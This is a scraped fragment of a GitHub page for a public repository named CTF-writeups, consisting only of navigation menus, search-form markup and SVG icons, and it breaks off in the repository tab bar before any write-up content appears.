<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Blog <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For Enterprise Teams Startups Education <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> By Solution CI/CD & Automation DevOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> DevSecOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Case Studies Customer Stories Resources <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> <div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div> <div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div> Repositories Topics Trending Collections </div> Pricing </nav> <div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0"> <div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="369551288" data-scoped-search-url="/ArjunaAcchaDipa/CTF-writeups/search" data-owner-scoped-search-url="/users/ArjunaAcchaDipa/search" data-unscoped-search-url="/search" data-turbo="false" action="/ArjunaAcchaDipa/CTF-writeups/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="b02bYIyFNx7UcyHTwv18yOsLjYQiXe3Lp1/miLLW7YDQClaWeOXc5SwYp+atFWQ6GIVjdvr3kfRf/TO43oILGQ==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg> <div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <span>No suggested jump to results</span> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> </div> </label></form> </div></div> </div> <div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div> Sign up </div> </div> </div> </div></header> </div> <div id="start-of-content" class="show-on-focus"></div> <div id="js-flash-container" data-turbo-replace> <template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div> </div> </div></div> </template></div> <include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment> <div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" > <div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace> <div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;"> <div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> ArjunaAcchaDipa </span> <span>/</span> CTF-writeups <span></span><span>Public</span> </div> </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>0</span> <div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>1</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div> </div> <div id="responsive-meta-container" data-turbo-replace></div> <nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 